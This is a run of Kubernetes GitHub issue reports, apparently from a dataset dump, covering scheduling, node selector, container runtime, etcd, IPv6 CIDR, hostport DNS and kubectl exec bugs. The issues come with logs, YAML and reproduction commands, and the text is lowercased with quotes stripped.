is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r in our kubernetes cluster, we use   podnodeselector   admission controller with annotation format   scheduler.alpha.kubernetes.io/node-selector  .\r when a daemonset is spawned in such annotated namespace, the pod keeps starting even on nodes which are not selected by the nodeselector and the pod keeps changing its status from  pending  ->  matchnodeselector  ->  terminating \r \r   what you expected to happen  :\r \r not to schedule on nodes which do not match nodeselector.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    bash\r  !/bin/bash\r   run.sh\r \r minikube start --extra-config apiserver.admission.pluginnames=\ podnodeselector\ \r kubectl apply -f namespace.yaml\r kubectl -n test apply -f daemonset.yaml\r kubectl -n test get pod -w\r minikube stop\r minikube delete\r    \r \r    yaml\r   namespace.yaml\r apiversion: v1\r kind: namespace\r metadata:\r   name: test\r   annotations:\r       force pods to run on realm nodes only\r     scheduler.alpha.kubernetes.io/node-selector: \ realm=test\ \r    \r    yaml\r   daemonset.yaml\r apiversion: extensions/v1beta1\r kind: daemonset\r metadata:\r   name: test\r   labels:\r     app: test\r spec:\r   template:\r     metadata:\r       labels:\r         name: test\r     spec:\r       containers:\r       - name: test\r         image: busybox\r         command:\r         - tail\r         - -f\r         - /dev/null\r    \r when you have all these files save, you just run\r    \r $ bash run.sh \r starting local kubernetes v1.7.0 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r setting up certs...\r starting cluster components...\r connecting to cluster...\r setting up kubeconfig...\r kubectl is now configured to use the cluster.\r namespace \ test\  created\r daemonset \ test\  created\r name         ready     status    restarts   age\r test-llfsf   0/1       pending   0          0s\r test-llfsf   0/1       matchnodeselector   0         5s\r test-llfsf   0/1       terminating   0         5s\r test-llfsf   0/1       terminating   0         5s\r test-k4txm   0/1       pending   0         0s\r test-k4txm   0/1       matchnodeselector   0         0s\r test-k4txm   0/1       terminating   0         0s\r test-k4txm   0/1       terminating   0         0s\r test-gj0r6   0/1       pending   0         0s\r \r    \r \r   anything else we need to know?  :\r \r no\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration  :\r \r ubuntu 16.04.2 lts\r \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.2 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r linux tt-k8s1-w8.ko.seznam.cz 4.4.0-62-generic  83-ubuntu smp wed jan 18 14:10:15 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r the status of pod is always  in \ containercreating\ \r \r    \r sep 11 17:59:30 24-8a-07-c2-2e-21 kubelet 4121 : i0911 17:59:30.126363    4121 kuberuntime_manager.go:453  container {name:liqin-test-liqin image:harbor.ail.unisound.com/liqin/tensorfl\r ow:1.2.1-zh-gpu command: /bin/bash -c  args: sleep 365d  workingdir: ports: {name: hostport:0 containerport:6006 protocol:tcp hostip:} {name: hostport:0 containerport:8888 protocol:tcp\r  hostip:}  envfrom:   env:   resources:{limits:map alpha.kubernetes.io/nvidia-gpu:{i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi}  requests:map alpha.kubernetes.io/nvidia-gpu:\r {i:{value:1 scale:0} d:{dec:<nil>} s:1 format:decimalsi} } volumemounts: {name:hostpath0 readonly:false mountpath:/sentence-similarity subpath:} {name:nvidia-libs-volume readonly:false\r  mountpath:/usr/local/nvidia/lib64 subpath:} {name:nvidia-libs-tool readonly:false mountpath:/usr/local/nvidia/bin subpath:} {name:default-token-0nbjj readonly:true mountpath:/var/run/\r secrets/kubernetes.io/serviceaccount subpath:}  livenessprobe:nil readinessprobe:nil lifecycle:nil terminationmessagepath:/dev/termination-log terminationmessagepolicy:file imagepullpo\r licy:always securitycontext:nil stdin:false stdinonce:false tty:false} is dead, but restartpolicy says that we should restart it.\r sep 11 17:59:30 24-8a-07-c2-2e-21 kubelet 4121 : w0911 17:59:30.128319    4121 docker_sandbox.go:285  couldn't find network status for default/liqin-test-liqin through plugin: invalid\r network status for\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.461940    4121 remote_runtime.go:86  runpodsandbox from runtime service failed: rpc error: code = 2 desc = failed to sta\r rt sandbox container for pod \ liqin-test-liqin\ : operation timeout: context deadline exceeded\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.462023    4121 kuberuntime_sandbox.go:54  createpodsandbox for pod \ liqin-test-liqin_default 7baa44af-96d6-11e7-b79a-0cc\r 47ae55a2c \  failed: rpc error: code = 2 desc = failed to start sandbox container for pod \ liqin-test-liqin\ : operation timeout: context deadline exceeded\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.462053    4121 kuberuntime_manager.go:614  createpodsandbox for pod \ liqin-test-liqin_default 7baa44af-96d6-11e7-b79a-0c\r c47ae55a2c \  failed: rpc error: code = 2 desc = failed to start sandbox container for pod \ liqin-test-liqin\ : operation timeout: context deadline exceeded\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.462119    4121 pod_workers.go:182  error syncing pod 7baa44af-96d6-11e7-b79a-0cc47ae55a2c  \ liqin-test-liqin_default 7ba\r a44af-96d6-11e7-b79a-0cc47ae55a2c \  , skipping: failed to \ createpodsandbox\  for \ liqin-test-liqin_default 7baa44af-96d6-11e7-b79a-0cc47ae55a2c \  with createpodsandboxerror: \ createpod\r sandbox for pod \\\ liqin-test-liqin_default 7baa44af-96d6-11e7-b79a-0cc47ae55a2c \\\  failed: rpc error: code = 2 desc = failed to start sandbox container for pod \\\ liqin-test-liqin\\\ : op\r eration timeout: context deadline exceeded\ \r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.825840    4121 remote_runtime.go:163  listpodsandbox with filter \ nil\  from runtime service failed: rpc error: code = 4\r desc = context deadline exceeded\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.825921    4121 kuberuntime_sandbox.go:187  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:30.825941    4121 generic.go:198  genericpleg: unable to retrieve pods: rpc error: code = 4 desc = context deadline exceede\r d\r sep 11 18:01:30 24-8a-07-c2-2e-21 kubelet 4121 : 2017/09/11 18:01:30 grpc: server.processunaryrpc failed to write status: stream error: code = 4 desc = \ context deadline exceeded\ \r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:31.539452    4121 remote_runtime.go:163  listpodsandbox with filter \ &podsandboxfilter{id:,state:&podsandboxstatevalue{stat\r e:sandbox_ready,},labelselector:map string string{},}\  from runtime service failed: rpc error: code = 4 desc = context deadline exceeded\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:31.539541    4121 kuberuntime_sandbox.go:187  listpodsandbox failed: rpc error: code = 4 desc = context deadline exceeded\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:31.539563    4121 kubelet_pods.go:842  error listing containers: &grpc.rpcerror{code:0x4, desc:\ context deadline exceeded\ }\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : e0911 18:01:31.539587    4121 kubelet.go:1849  failed cleaning pods: rpc error: code = 4 desc = context deadline exceeded\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : 2017/09/11 18:01:31 grpc: server.processunaryrpc failed to write status: stream error: code = 4 desc = \ context deadline exceeded\ \r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : w0911 18:01:31.803968    4121 docker_sandbox.go:285  couldn't find network status for default/liqin-test-liqin through plugin: invalid\r network status for\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : w0911 18:01:31.832548    4121 docker_sandbox.go:285  couldn't find network status for default/liqin-test-liqin through plugin: invalid\r network status for\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : w0911 18:01:31.833519    4121 docker_sandbox.go:285  couldn't find network status for default/liqin-test-liqin through plugin: invalid\r network status for\r sep 11 18:01:31 24-8a-07-c2-2e-21 kubelet 4121 : w0911 18:01:31.834417    4121 pod_container_deletor.go:77  container \ 1bb55f50d35f88367fc6976c8c4e170329ff0af88b53ec4d23ef6d239e163d25\ \r  not found in pod's containers\r    \r \r \r   what you expected to happen  :\r the pod can be created and the status should to be \ running\ \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r the log of docker:\r \r    \r sep 11 17:35:33 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:35:33.729062293+08:00\  level=error msg=\ containerd: get exit status\  error=\ cont\r ainerd: process has not exited\  id=cf5c86dae68bcc4144fcb4dc7410c533b387b2d7760d6d231b64eb5962a3090f pid=78c4dbc8b091bf62912479909405bb7175a54f484bce5\r e60d9ba7dfe0e5b4a69 systempid=26750\r sep 11 17:37:44 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:37:44.903844066+08:00\  level=error msg=\ containerd: start container\  error=\ cont\r ainerd: container did not start before the specified timeout\  id=b952194877f79126be707b70a7c30429026cbd8349544f4bab64b72180bed024\r sep 11 17:37:44 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:37:44.904165127+08:00\  level=error msg=\ create container failed with error: cont\r ainerd: container did not start before the specified timeout\ \r sep 11 17:37:45 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:37:45.445962357+08:00\  level=error msg=\ handler for post /v1.30/containers/b952194877f79126be707b70a7c30429026cbd8349544f4bab64b72180bed024/start returned error: containerd: container did not start before the specified timeout\ \r sep 11 17:39:46 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:39:46.141939402+08:00\  level=error msg=\ containerd: start container\  error=\ containerd: container did not start before the specified timeout\  id=a900616c99b9af4039ba92cd628c321aa3433d3ef8ca4348c06101ee2eaa146f\r sep 11 17:39:46 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:39:46.142569976+08:00\  level=error msg=\ create container failed with error: containerd: container did not start before the specified timeout\ \r sep 11 17:39:46 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:39:46.695038302+08:00\  level=error msg=\ handler for post /v1.30/containers/a900616c99b9af4039ba92cd628c321aa3433d3ef8ca4348c06101ee2eaa146f/start returned error: containerd: container did not start before the specified timeout\ \r sep 11 17:39:46 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:39:46.695866951+08:00\  level=error msg=\ handler for get /v1.30/containers/json returned error: write unix /var/run/docker.sock->@: write: broken pipe\ \r sep 11 17:39:46 24-8a-07-c2-2e-21 dockerd 2435 : http: multiple response.writeheader calls\r sep 11 17:41:48 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:41:48.175119309+08:00\  level=error msg=\ containerd: start container\  error=\ containerd: container did not start before the specified timeout\  id=54170845d50d5b273361459f00b9ac4f88e9960c628f144893bdf30684cb2525\r sep 11 17:41:48 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:41:48.175468566+08:00\  level=error msg=\ create container failed with error: containerd: container did not start before the specified timeout\ \r sep 11 17:41:48 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:41:48.716103242+08:00\  level=error msg=\ handler for post /v1.30/containers/54170845d50d5b273361459f00b9ac4f88e9960c628f144893bdf30684cb2525/start returned error: containerd: container did not start before the specified timeout\ \r sep 11 17:41:48 24-8a-07-c2-2e-21 dockerd 2435 : http: multiple response.writeheader calls\r sep 11 17:41:48 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:41:48.716647518+08:00\  level=error msg=\ handler for get /v1.30/containers/json returned error: write unix /var/run/docker.sock->@: write: broken pipe\ \r sep 11 17:44:16 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:44:16.034997741+08:00\  level=error msg=\ containerd: start container\  error=\ containerd: container did not start before the specified timeout\  id=1134d17ffd949164a86dd45ca180cb3ae32a7df225795c116850264465619e3e\r sep 11 17:44:16 24-8a-07-c2-2e-21 dockerd 2435 : time=\ 2017-09-11t17:44:16.035507023+08:00\  level=error msg=\ create container failed with error: containerd: container did not start before the specified timeout\ \r    \r   output of  docker info :  \r    \r containers: 14\r  running: 12\r  paused: 0\r  stopped: 2\r images: 29\r server version: 17.06.0-ce\r storage driver: overlay2\r  backing filesystem: xfs\r  supports d_type: true\r  native overlay diff: true\r logging driver: json-file\r cgroup driver: cgroupfs\r plugins:\r  volume: local\r  network: bridge host macvlan null overlay\r  log: awslogs fluentd gcplogs gelf journald json-file logentries splunk syslog\r swarm: inactive\r runtimes: runc\r default runtime: runc\r init binary: docker-init\r containerd version: cfb82a876ecc11b5ca0977d1733adbe58599088a\r runc version: 2d41c047c83e09a6d61d464906feb2a2f3c52aa4\r init version: 949e6fa\r security options:\r  seccomp\r   profile: default\r kernel version: 4.4.77-1.el7.elrepo.x86_64\r operating system: centos linux 7  core \r ostype: linux\r architecture: x86_64\r cpus: 56\r total memory: 251.3gib\r name: 24-8a-07-c2-2e-21\r id: cppb:br7p:deky:fzu6:tid2:zmdc:nqdy:zrxg:soin:xlid:n623:lcu6\r docker root dir: /var/lib/docker\r debug mode  client : false\r debug mode  server : false\r registry: https://index.docker.io/v1/\r experimental: false\r insecure registries:\r  127.0.0.0/8\r live restore enabled: false\r    \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7.0\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r    \r  root@24-8a-07-c2-2e-21 ~   cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r  root@24-8a-07-c2-2e-21 ~   docker version\r client:\r  version:      17.06.0-ce\r  api version:  1.30\r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:20:36 2017\r  os/arch:      linux/amd64\r \r server:\r  version:      17.06.0-ce\r  api version:  1.30  minimum version 1.12 \r  go version:   go1.8.3\r  git commit:   02c1d87\r  built:        fri jun 23 21:21:56 2017\r  os/arch:      linux/amd64\r  experimental: false\r  root@24-8a-07-c2-2e-21 ~   uname -a\r linux 24-8a-07-c2-2e-21 4.4.77-1.el7.elrepo.x86_64  1 smp sat jul 15 11:17:37 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  :\r newcidrset was updated for ipv6, and will return 0 cidrs when the subnet mask size\r minus the cluster size is greater that 16. this case should return an error\r \r   what you expected to happen  :\r newcidrset should error\r   how to reproduce it  as minimally and precisely as possible   :\r this can be done easily with ipv6, passing the following to the controller manager  --cluster-cidr=2001:101::/48 --node-cidr-mask-size=92 \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

hello guys,\r i've implemented one deployment containing 2 pods , each pod running in different nodes one in amd64 another in arm  ,i defined two label and node selector for each nod and pod respectively type: \ arch2 \  for amd64 ,  type: \ arch1\  for rasspberry  ,\r when i am autoscalling my deployment from this yaml file,only nodeselector \ type: \ arch2 \ \  is working ,meaning last node selector in yaml file and all pods of my deployment will run on node with lable of \ type: \ arch2 \  ,\r do you know what would be the problem?\r \r \r i used these command:\r //commands for autoscalling :  \r kubectl autoscale deployment my-deployment  --cpu-percent=10  --min=1  --max=10 \r \r // commands for exposing service:\r kubectl expose deployment my-deployment --port=80\r \r //commands for making load:\r kubectl  run -i --tty load-generator --image=busybox /bin/sh\r while true; do wget -q -o- http://my-deployment.default.svc.cluster.local; done\r \r \r \r \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: my-deployment\r   labels:\r     app: nginx\r spec:\r   replicas: 2\r   selector:\r     matchlabels:\r       app: nginx\r   template:\r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx2\r         image: armhfbuild/nginx\r         ports:\r         - containerport: 80\r         resources:\r          requests:\r           memory: \ 64mi\ \r           cpu: \ 250m\ \r          limits:\r           memory: \ 128mi\ \r           cpu: \ 500m\ \r       nodeselector:\r        type: arch1\r       tolerations:\r       - key: \ value1\ \r         operator: \ equal\ \r         value: \ pi\ \r         effect: \ noschedule\ \r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r         resources:\r          requests:\r           memory: \ 64mi\ \r           cpu: \ 250m\ \r          limits:\r           memory: \ 128mi\ \r           cpu: \ 500m\ \r       nodeselector:\r        type: arch2

\r i1122 09:21:38.273    k8s.io/kubernetes/cmd/kube-proxy/app\r i1122 09:21:38.273  cmd/kube-proxy/app/server.go:221:36: too many arguments in call to newproxyserver\r i1122 09:21:38.273  \thave   kubeproxyconfig.kubeproxyconfiguration, bool, bool,  \ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime\ .scheme, string \r i1122 09:21:38.273  \twant   kubeproxyconfig.kubeproxyconfiguration, bool,  \ k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/runtime\ .scheme, string \r    \r \r https://github.com/kubernetes/kubernetes/blob/4e2f5e2212b05a305435ef96f4b49dc0932e1264/cmd/kube-proxy/app/server_windows.go l49\r \r https://github.com/kubernetes/kubernetes/pull/56036\r https://k8s-testgrid.appspot.com/sig-release-misc cross-build&graph-metrics=test-duration-minutes\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-cross-build/3958\r \r ---\r cc: @kubernetes/sig-network-bugs @kubernetes/sig-network-test-failures @m1093782566 @thockin \r  /

i am using kubernetes 1.5.7 and etcd 3.0.17. just setup a large cluster with 1000 kubernetes node and etcd cluster with 3 members. it works well for one day. since today, i found the etcd status is changed healthy or unhealthy from time to time. i found all the etcd logs are like below:\r 2017-12-20 09:32:26.905008 w |etcdserver: apply entries took too long  23.411359ms for 2 entries \r 2017-12-20 09:32:26.905041 w | etcdserver: avoid queries with large range/delete range!\r \r i know from here:  https://github.com/coreos/etcd/blob/master/documentation/faq.md what-does-the-etcd-warning-apply-entries-took-too-long-mean\r it is maybe caused by slow disk network or cpu. but i am wonder if this will cause etcd unhealthy status and then cause kubectl cmd can not used?  thanks.\r \r  area/etcd\r 

failure cluster  5d226a0c4b4ee451def8  https://go.k8s.io/triage 5d226a0c4b4ee451def8        error text:     error deleting firewall: error during gcloud compute firewall-rules delete -q e2e-ports-1922a81a --project=gke-up-g1-3-clat-up-clu: exit status 1           failure cluster statistics: 2 tests failed,    30 jobs failed,    89 builds failed. failure stats cover 1 day time range '14 jan 2018 03:28 utc' to '15 jan 2018 03:28 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | deferred teardown | 29 | | teardown | 1 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gke-serial | 7 |  14 jan 2018 15:25 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-serial/4716  | | ci-kubernetes-e2e-gci-gke-reboot | 6 |  15 jan 2018 00:37 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-reboot/11499  | | ci-kubernetes-e2e-gci-gke | 6 |  14 jan 2018 22:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/21111  |   current status  https://go.k8s.io/triage 5d226a0c4b4ee451def8

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r \r i created job with processing big data, because of it i used plenty of ram, when ram is ended, i got \ out of memory\  and my pod stay unreachable and got status unknown. after 10 min he is marked for deleted, but it will never delete. also node where located pod, stay notready. \r \r after that was created two another pods. first pod was unknown, second was running, but same unreachable and i can't get logs from it.\r \r i can delete pod only if i will terminate node or force delete pod.\r \r   what you expected to happen  :\r \r i think, if pod is unreachable kubernetes will be force delete the pod and node will be restarted.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a job, which will get oom.\r \r   anything else we need to know?  :\r \r conditions of node:\r conditions:\r    \r   type                 status    lastheartbeattime                 lasttransitiontime                reason                     message\r   ----                 ------    -----------------                 ------------------                ------                     -------\r   networkunavailable   false     thu, 14 jun 2018 08:47:35 +0000   thu, 14 jun 2018 08:47:35 +0000   routecreated               routecontroller created a route\r   outofdisk            false     thu, 14 jun 2018 08:58:48 +0000   thu, 14 jun 2018 08:47:32 +0000   kubelethassufficientdisk   kubelet has sufficient disk space available\r   memorypressure       unknown   thu, 14 jun 2018 08:58:48 +0000   thu, 14 jun 2018 08:59:30 +0000   nodestatusunknown          kubelet stopped posting node status.\r   diskpressure         unknown   thu, 14 jun 2018 08:58:48 +0000   thu, 14 jun 2018 08:59:30 +0000   nodestatusunknown          kubelet stopped posting node status.\r   ready                unknown   thu, 14 jun 2018 08:58:48 +0000   thu, 14 jun 2018 08:59:30 +0000   nodestatusunknown          kubelet stopped posting node status.\r \r    \r \r i couldn't get any logs from pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.6\ , gitcommit:\ 9f8ebd171479bec0ada837d7ee641dec2f8c6dd1\ , gittreestate:\ clean\ , builddate:\ 2018-03-21t15:13:31z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration: \r aws t2.medium\r \r - os  e.g. from /etc/os-release :\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r - kernel  e.g.  uname -a  :\r linux ip-172-31-84-226 4.4.0-1052-aws  61-ubuntu smp mon feb 12 23:05:58 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r in ubuntu 18.04 dns queries are being served via  systemd-resolved  daemon which is listening on  127.0.0.53:53  and serves queries only from  127.0.0.1/8 .\r the only line in  /etc/resolv.conf  is  nameserver 127.0.0.53 , and this file is managed by systemd.\r once any pod with  hostport  notation appears on the host,  kubelet  fires the iptables rule in  postrouting  chain of  nat  table:\r \r     -a postrouting -s 127.0.0.0/8 -o lo -m comment --comment \ snat for localhost access to hostports\  -j masquerade\r \r see commit https://github.com/kubernetes/kubernetes/commit/aabdaa984f3cff92421bb87197e1767d51407333\r and lines https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/dockershim/network/hostport/hostport.go l137-l138\r for details.\r \r therefore all queries to  127.0.0.53:53  goes not from  127.0.0.0/8 , but from interface with default route due to masquerading, and  systemd-resolved  rejects all of these requests with\r \r     systemd-resolved 21366 : got packet on unexpected ip range, refusing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just install kubernetes with cni on ubuntu-18.04  with kubeadm, kubespray, chef-kubernetes, whatever  and run any pod with  hostport .\r voila! you just lost dns resolving.\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.11.0 \r - cloud provider or hardware configuration: digital ocean  but reproduceable on any configuration \r - os  e.g. from /etc/os-release :  ubuntu 18.04 lts \r - kernel  e.g.  uname -a  :  linux kube01 4.15.0-23-generic  25-ubuntu smp wed may 23 18:02:16 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:  chef-kubernetes  https://github.com/evilmartians/chef-kubernetes   but reproduceable with any install tool \r - others:\r   - cni: 0.6.0\r   - cni plugins: 0.7.1\r   - cni daemon: weave\r \r 

 \r \r \r   what happened  :\r when invoke pod/exec api with  stdin=true&stdout=true&tty=true , the terminal resize will run to handle the terminal resize event, but according to the output log with  loglevel=8 , terminal size calculation is wrong at least width .\r \r    \r i0913 22:18:39.213492    2664 round_trippers.go:383  post https://apiserver/api/v1/namespaces/default/pods/docker-registry-3-bcxbs/exec?command=%2fbin%2fsh&container=registry&container=registry&stdin=true&stdout=true&tty=true\r                                        i0913 22:18:39.213544    2664 round_trippers.go:390  request headers:\r                                                                                                             i0913 22:18:39.213554    2664 round_trippers.go:393      x-stream-protocol-version: v4.channel.k8s.io\r                                                                                                                                                                                                                  i0913 22:18:39.213562    2664 round_trippers.go:393      x-stream-protocol-version: v3.channel.k8s.io\r                                                                                                    i0913 22:18:39.213568    2664 round_trippers.go:393      x-stream-protocol-version: v2.channel.k8s.io\r                                                                                                                                                                                                         i0913 22:18:39.213580    2664 round_trippers.go:393      x-stream-protocol-version: channel.k8s.io\r                                                                                        i0913 22:18:39.213587    2664 round_trippers.go:393      user-agent: kubectl/v1.11.0+d4cacc0  linux/amd64  kubernetes/d4cacc0\r  i0913 22:18:39.265686    2664 round_trippers.go:408  response status: 101 switching protocols in 52 milliseconds\r                                                                                                                  i0913 22:18:39.265732    2664 round_trippers.go:411  response headers:\r                                                                                                                                                                                        i0913 22:18:39.265741    2664 round_trippers.go:414      connection: upgrade\r                                                 i0913 22:18:39.265748    2664 round_trippers.go:414      upgrade: spdy/3.1\r                                                                                                                           i0913 22:18:39.265754    2664 round_trippers.go:414      x-stream-protocol-version: v4.channel.k8s.io\r             i0913 22:18:39.265761    2664 round_trippers.go:414      date: fri, 14 sep 2018 02:18:40 gmt\r                                                                                                         sh-4.2$\r    \r \r   what you expected to happen  :\r terminal size should be correct\r \r    \r i0913 22:18:39.213492    2664 round_trippers.go:383  post https://apiserver/api/v1/namespaces/default/pods/docker-registry-3-bcxbs/exec?command=%2fbin%2fsh&container=registry&container=registry&stdin=true&stdout=true&tty=true\r i0913 22:18:39.213544    2664 round_trippers.go:390  request headers:\r i0913 22:18:39.213554    2664 round_trippers.go:393      x-stream-protocol-version: v4.channel.k8s.io\r i0913 22:18:39.213562    2664 round_trippers.go:393      x-stream-protocol-version: v3.channel.k8s.io\r i0913 22:18:39.213568    2664 round_trippers.go:393      x-stream-protocol-version: v2.channel.k8s.io\r i0913 22:18:39.213580    2664 round_trippers.go:393      x-stream-protocol-version: channel.k8s.io\r i0913 22:18:39.213587    2664 round_trippers.go:393      user-agent: kubectl/v1.11.0+d4cacc0  linux/amd64  kubernetes/d4cacc0\r i0913 22:18:39.265686    2664 round_trippers.go:408  response status: 101 switching protocols in 52 milliseconds\r i0913 22:18:39.265732    2664 round_trippers.go:411  response headers:\r i0913 22:18:39.265741    2664 round_trippers.go:414      connection: upgrade\r i0913 22:18:39.265748    2664 round_trippers.go:414      upgrade: spdy/3.1\r i0913 22:18:39.265754    2664 round_trippers.go:414      x-stream-protocol-version: v4.channel.k8s.io\r i0913 22:18:39.265761    2664 round_trippers.go:414      date: fri, 14 sep 2018 02:18:40 gmt\r sh-4.2$\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl exec -it --loglevel=8 podname /bin/sh\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.0+d4cacc0\ , gitcommit:\ d4cacc0\ , 